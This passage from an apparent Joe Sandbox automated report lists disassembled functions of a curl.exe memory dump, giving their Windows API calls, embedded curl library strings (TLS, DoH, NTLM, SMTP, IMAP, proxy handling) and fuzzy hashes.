Instruction Fuzzy Hash: C49159356046418FDF15AF6898C0BA53BA1FF99350F2841BADC59CF28BDB709941CB72

Function 008A60A0 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 198COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A62F0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A632C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A6356

Strings

schannel: shutting down SSL/TLS connection with %s port %hu, xrefs: 008A6118
schannel: ApplyControlToken failure: %s, xrefs: 008A61B9
schannel: failed to send close msg: %s (bytes written: %zd), xrefs: 008A62AE

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: schannel: ApplyControlToken failure: %s$schannel: failed to send close msg: %s (bytes written: %zd)$schannel: shutting down SSL/TLS connection with %s port %hu
API String ID: 1294909896-1242988243
Opcode ID: 53a296296dd1c54a389111eedfe6a44c233f11b148321f795219119e23ce9bf5
Instruction ID: 7f7b95c4befd561eb805c40e3385332c2e11fec3abb57c2d163361f1e17bca9b
Opcode Fuzzy Hash: 53a296296dd1c54a389111eedfe6a44c233f11b148321f795219119e23ce9bf5
Instruction Fuzzy Hash: 63818A70900629DFEB249F14CC44BD9BBB5FF09310F0481A9E849A7792DB74AEA4CF80

Function 008A93A7 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 191COMMON

Download Yara Rule

Strings

DoH Host name: %s, xrefs: 008A955F
DoH: %s type %s for %s, xrefs: 008A9516
bad error code, xrefs: 008A94F5, 008A9515
AAAA, xrefs: 008A9507
Could not DoH-resolve: %s, xrefs: 008A93F8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: AAAA$Could not DoH-resolve: %s$DoH Host name: %s$DoH: %s type %s for %s$bad error code
API String ID: 0-4260076447
Opcode ID: db4191d775912bc0c51bc98ccd02f93361039d2cdebb7a047b4789c6ba68ea8b
Instruction ID: d47ddc4cde239afda1753bad2dcebb3b317d0c73d28b95fbaca383141ad1db3c
Opcode Fuzzy Hash: db4191d775912bc0c51bc98ccd02f93361039d2cdebb7a047b4789c6ba68ea8b
Instruction Fuzzy Hash: 3E71D070A052149BEB249F28DC99BAAB3B5FF45310F1041ADE45DDB291EB349E80CF41

Function 00891EB9 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 164COMMON

Download Yara Rule

APIs

Part of subcall function 00875DA0: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008833F9), ref: 00875DB7

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00891FCD

Strings

;type=, xrefs: 00891FF5
?%s, xrefs: 00892053
;type=%c, xrefs: 00892037
http, xrefs: 00891F56
ftp, xrefs: 00891FDE

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callocfree
String ID: ;type=$;type=%c$?%s$ftp$http
API String ID: 306872129-3547414
Opcode ID: 1821b999c336092f5340969ff7d0cae08a60bc47718e65f96de58af90d95e2f8
Instruction ID: 7c19e3af07d69e676f28271ef4c6c18f564ab4f6e21014a72364417313c030ec
Opcode Fuzzy Hash: 1821b999c336092f5340969ff7d0cae08a60bc47718e65f96de58af90d95e2f8
Instruction Fuzzy Hash: 9241D831708B467BEF24E6299859F6A2BE5FFC5760F188139F808DB285EF60DC42C255

Function 00895FFA Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 145COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00896136

Strings

HELP, xrefs: 00896144, 00896149
EXPN, xrefs: 0089603C
VRFY %s%s%s%s, xrefs: 00896110
SMTPUTF8, xrefs: 00896059, 00896061, 008960F5, 008960FF
%s %s%s, xrefs: 0089606E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: SMTPUTF8$%s %s%s$EXPN$HELP$VRFY %s%s%s%s
API String ID: 1294909896-2300960079
Opcode ID: 75d28bdcc5eae06ad6225c1c85cb266152642e5dc94a9cd7f4310ffe8a0f0b33
Instruction ID: 70c608e40e864328816de6cf52d2d9cfc19dd30c3dc4f9bac4c6f02bfd701d3f
Opcode Fuzzy Hash: 75d28bdcc5eae06ad6225c1c85cb266152642e5dc94a9cd7f4310ffe8a0f0b33
Instruction Fuzzy Hash: E041F571A049265FEF15AA588890ABB7BB9FF46314F2C80ADED44E7302E670DD548790

Function 008A0BB3 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,000009B8,?,?,00890F95,?,?,00000000,?), ref: 008A0C78

Strings

NTLM auth restarted, xrefs: 008A0C10
NTLM, xrefs: 008A0BD1
NTLM handshake failure (internal error), xrefs: 008A0D1C
NTLM handshake failure (empty type-2 message), xrefs: 008A0C52
NTLM handshake rejected, xrefs: 008A0CF3

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc
String ID: NTLM$NTLM auth restarted$NTLM handshake failure (empty type-2 message)$NTLM handshake failure (internal error)$NTLM handshake rejected
API String ID: 2803490479-2228421627
Opcode ID: 823a43dd7fccc4b05c4286b2bc67dedf9359c44faac6c02fd58d5723d3a435ac
Instruction ID: 2d3592c07f5af602f79832e684b7895870dc2b6883f8c490bd160fbdc7d1026c
Opcode Fuzzy Hash: 823a43dd7fccc4b05c4286b2bc67dedf9359c44faac6c02fd58d5723d3a435ac
Instruction Fuzzy Hash: 3141F271A04306AFEB14AB58D891BA9B7B4FF19324F204169E505E7682EB71D904CF51

Function 008A16F0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

Mime-Version: 1.0, xrefs: 008A1771
Cannot APPEND without a mailbox., xrefs: 008A1701
Mime-Version, xrefs: 008A175A
APPEND %s (\Seen) {%I64d}, xrefs: 008A180B
Cannot APPEND with unknown input file size, xrefs: 008A17CF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: APPEND %s (\Seen) {%I64d}$Cannot APPEND with unknown input file size$Cannot APPEND without a mailbox.$Mime-Version$Mime-Version: 1.0
API String ID: 0-3307439731
Opcode ID: 02662b22c2ebdf64e852246534b6bf9d618f5ebddfcc3ee2b82cd304ade4e20e
Instruction ID: d41b1b6aacd39190bbc42e549da4cdb6c402f115e03945b3f908c00218455657
Opcode Fuzzy Hash: 02662b22c2ebdf64e852246534b6bf9d618f5ebddfcc3ee2b82cd304ade4e20e
Instruction Fuzzy Hash: CC310931704A02ABFF1C5B289899F7AB3A1FB81714F10422DE529CA6C4EF74A811D7C5

Function 008904FF Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,?), ref: 008905B5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,?,?,?), ref: 008905F1
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,?), ref: 00890612

Strings

Proxy-, xrefs: 008905BB, 008905CC
%sAuthorization: Basic %s, xrefs: 008905CD
%s:%s, xrefs: 00890557

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %s:%s$%sAuthorization: Basic %s$Proxy-
API String ID: 1294909896-2961970465
Opcode ID: b0ebf8fbeae98ba0750c348c8f21b6b52ed8f879e3c5bbfe9d415cf236e0f815
Instruction ID: 902b7af385f100b8116ba4b138c10b57081d648c8822c5eb4f4c56bb20920e58
Opcode Fuzzy Hash: b0ebf8fbeae98ba0750c348c8f21b6b52ed8f879e3c5bbfe9d415cf236e0f815
Instruction Fuzzy Hash: 30318F35B04609AFEF049B98D851BAABBB5FF84314F148079D901E7342EBB1AD15CFA0

Function 0089CD83 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089CDAE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089CE26

Strings

OS/400, xrefs: 0089CDE8
SITE NAMEFMT 1, xrefs: 0089CDF6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: freemalloc
String ID: OS/400$SITE NAMEFMT 1
API String ID: 3061335427-2049154998
Opcode ID: f5f256fdf9914be1e6a39ea5bf4b0b81f48baef261c2c154a3a399db160911a9
Instruction ID: 9f37b72bb41fa9c21ddec57d392cb229205a9aa3edaa1b66fc4cfd7260091468
Opcode Fuzzy Hash: f5f256fdf9914be1e6a39ea5bf4b0b81f48baef261c2c154a3a399db160911a9
Instruction Fuzzy Hash: 56319E71A04629DBDF10EF58D840AAC7BF1FB49754F1C40BAE905EB352CB719D018BA4

Function 0086EDCE Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?), ref: 0086EE54
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?), ref: 0086EE65

Strings

slist%d = curl_slist_append(slist%d, "%s");, xrefs: 0086EE85
slist%d = NULL;, xrefs: 0086EE05, 0086EE39
curl_slist_free_all(slist%d);, xrefs: 0086EE1F
struct curl_slist *slist%d;, xrefs: 0086EDE7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: curl_slist_free_all(slist%d);$slist%d = NULL;$slist%d = curl_slist_append(slist%d, "%s");$struct curl_slist *slist%d;
API String ID: 1294909896-250881521
Opcode ID: b03fb4cc68f6c6ec2377fc7ec11192b478dbae5a5b12013b88888b7d2f193f61
Instruction ID: 0ff7e46d8658197b9c1805bbe18fcd6e59fe3a8bd2511ad857070c1278199d76
Opcode Fuzzy Hash: b03fb4cc68f6c6ec2377fc7ec11192b478dbae5a5b12013b88888b7d2f193f61
Instruction Fuzzy Hash: 4B21F8319446146BDF321BD8AD82F5A73A1FB45B70B160228FD24EB382EB76CD008691

Function 00883B5F Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00883B8B

Strings

all_proxy, xrefs: 00883BFF
_proxy, xrefs: 00883B9C
http_proxy, xrefs: 00883BBC
Uses proxy env variable %s == '%s', xrefs: 00883C25
ALL_PROXY, xrefs: 00883C11

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: tolower
String ID: ALL_PROXY$Uses proxy env variable %s == '%s'$_proxy$all_proxy$http_proxy
API String ID: 3025214199-127164392
Opcode ID: 25c593dcd86132bedd5dd92f2ad3aad1dbfb7b2b205a03d84354b7bf233919a5
Instruction ID: 1bb88550c7f914b03e339f7923d58f8f8dbfaecda054953dc021d172bc909435
Opcode Fuzzy Hash: 25c593dcd86132bedd5dd92f2ad3aad1dbfb7b2b205a03d84354b7bf233919a5
Instruction Fuzzy Hash: 6D21F571E0066547CB21BB289810BAA7775FF51BA4F0981E9E889FB306DE70CE4987D0

Function 00888AFD Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,00000000,00000001,000009C9,000009C9,?,00881E86,?,?,00000000), ref: 00888B1D
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00881E86,?,?,00000000), ref: 00888B30
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,00881E86,?,?,00000000), ref: 00888B3C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00881E86,?,?,00000000), ref: 00888B69
closesocket.WS2_32(00881E86), ref: 00888B7A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00888B94

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CriticalSectionfree$CloseEnterHandleLeaveclosesocket
String ID:
API String ID: 469868127-0
Opcode ID: 7908153c266a6281ef9c3e34d6b12c49aeea3eef2f4f2fbacb3d8ba1659103b3
Instruction ID: 49d7baacfed691c666048e2e85bd897adad1aa60d6a6be3931a2b0de00ae1bf7
Opcode Fuzzy Hash: 7908153c266a6281ef9c3e34d6b12c49aeea3eef2f4f2fbacb3d8ba1659103b3
Instruction Fuzzy Hash: 48118876600A15EFCB05AF64E848B5EBBB1FF48321F184169E805A3361DB71BC51CBE1

Function 0088B751 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 302networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088B8C8
WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 0088B9D9
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0088B9F4

Strings

We are completely uploaded and fine, xrefs: 0088BAC3
Failed to alloc scratch buffer, xrefs: 0088B8D5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Ioctlmallocsetsockopt
String ID: Failed to alloc scratch buffer$We are completely uploaded and fine
API String ID: 3560301164-2419666956
Opcode ID: 6f8ea73fe72b9c20997c8d933a72a5fa216862ed2667c1b83d04d0102c5283d4
Instruction ID: 6e0cf7a777b52b71c6dcce5c66140cdb8fb6a38c6cec76dbc2b66335eab923ed
Opcode Fuzzy Hash: 6f8ea73fe72b9c20997c8d933a72a5fa216862ed2667c1b83d04d0102c5283d4
Instruction Fuzzy Hash: 10C1A171B047469FDB18DF68C881BAABBF5FF84314F14427AE819DB285D770A841CBA1

Function 008A57F0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 207networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A589A
WSAGetLastError.WS2_32 ref: 008A5A16
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A5A73

Strings

select/poll on SSL socket, errno: %d, xrefs: 008A5A1D
schannel: timed out sending data (bytes sent: %zd), xrefs: 008A5A34

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastfreemalloc
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 1010545285-3891197721
Opcode ID: 19dd012fb91a6a70f7cdcc45cace20a2ec9ac365d4ba6451c8b96733570ebad7
Instruction ID: 25e429b8d5db7c59856575350d14739eb2b3c5aee53bc7f25368293f0685c0b4
Opcode Fuzzy Hash: 19dd012fb91a6a70f7cdcc45cace20a2ec9ac365d4ba6451c8b96733570ebad7
Instruction Fuzzy Hash: 818128B56087059FD714CF18D880A1ABBE5FF89724F148A2DF999D73A1D770E940CB82

Function 0086D5FC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 117stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0086D618
strtok.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008C07BC), ref: 0086D631
strtok.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008C07BC), ref: 0086D6C9
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0086D715

Strings

unrecognized protocol '%s', xrefs: 0086D6AF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strtok$_strdupfree
String ID: unrecognized protocol '%s'
API String ID: 2873614617-1936080967
Opcode ID: 0360abf2d2c487513ec9f0e3e32a277f4c6b4c3e91aa57d6ba1104cfc7dd8c25
Instruction ID: 41db6d6d7bcc8d733ce0830160e976a1bfeac895450cf53c95da6e0bd2dac973
Opcode Fuzzy Hash: 0360abf2d2c487513ec9f0e3e32a277f4c6b4c3e91aa57d6ba1104cfc7dd8c25
Instruction Fuzzy Hash: AE31E231F0570ADBD7219B68D985B397BE0FB557A8F260129E80ADB281D671DC018BD1

Function 0089526D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000), ref: 00895305
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089533E
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0089535A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00895391

Strings

realm, xrefs: 008952EA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup
String ID: realm
API String ID: 2653869212-4204190682
Opcode ID: debc92e7bb64a7022dc1abc22f07e56d71fe63b2e7df311dc1a6ad3c2a3de1b1
Instruction ID: bca0d2640215132a6c3f1fbac5cd6b3898ba4648dbf70bd74a5a9040b46d4a07
Opcode Fuzzy Hash: debc92e7bb64a7022dc1abc22f07e56d71fe63b2e7df311dc1a6ad3c2a3de1b1
Instruction Fuzzy Hash: 6E31E631900A248BDF25AF64DC90AAEB7B4FF46750F18449EE885D7342DB709D449F50

Function 008975C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00897629
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0089766C
_time64.API-MS-WIN-CRT-TIME-L1-1-0(-000001F4,-000001F4,?,000003E8,00000000), ref: 0089769F

Strings

set timeouts for state %d; Total % I64d, retry %d maxtry %d, xrefs: 0089768B
Connection time-out, xrefs: 008975F6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$_time64
String ID: Connection time-out$set timeouts for state %d; Total % I64d, retry %d maxtry %d
API String ID: 3039015236-3364887516
Opcode ID: 8ae71c5c6bcda4ed4de42b3f51fbb91b75feb1b5165ccbb2433e4ce8910f3f8d
Instruction ID: 11dc51d2e9cd8c25b0a0e6ed747d04aa637feebdb5913caa8198e45d1c72bf52
Opcode Fuzzy Hash: 8ae71c5c6bcda4ed4de42b3f51fbb91b75feb1b5165ccbb2433e4ce8910f3f8d
Instruction Fuzzy Hash: 3B210972718B009FDB36AE6D8C05E277AE5FBD4710F280E2EF045C6280FA71D9018791

Function 00870878 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputc.API-MS-WIN-CRT-STDIO-L1-1-0(00000022,00000000,00000000,00000000,?,?,008709E5,00000000,?,008707A5,?,?), ref: 00870896
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,008709E5,00000000), ref: 008708FD
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(008C1D90,00000000,008709E5,00000000,?,008707A5,?,?), ref: 0087093B
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(00000022,00000000,?,?), ref: 0087094F

Strings

u%04x, xrefs: 008708D8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputc$fputs
String ID: u%04x
API String ID: 1019900953-2707630279
Opcode ID: 215baae85a46cd5c7bcc3ad244564b60acd099028eb1e4138368e6b543334db4
Instruction ID: 79e18ce9f2128177304e234fe6f6c538d35a45c78cbf0c5212aa1c9b652bc54b
Opcode Fuzzy Hash: 215baae85a46cd5c7bcc3ad244564b60acd099028eb1e4138368e6b543334db4
Instruction Fuzzy Hash: 1D21D631149218F5EA28052AAC5DFB7AF99FA437A5B28C119F31EC168BC565C501CD91

Function 0089A10A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,?,?), ref: 0089A14D
accept.WS2_32(?,?,00000080), ref: 0089A175
ioctlsocket.WS2_32(?,8004667E,?), ref: 0089A1D8

Strings

Connection accepted from server, xrefs: 0089A1A7
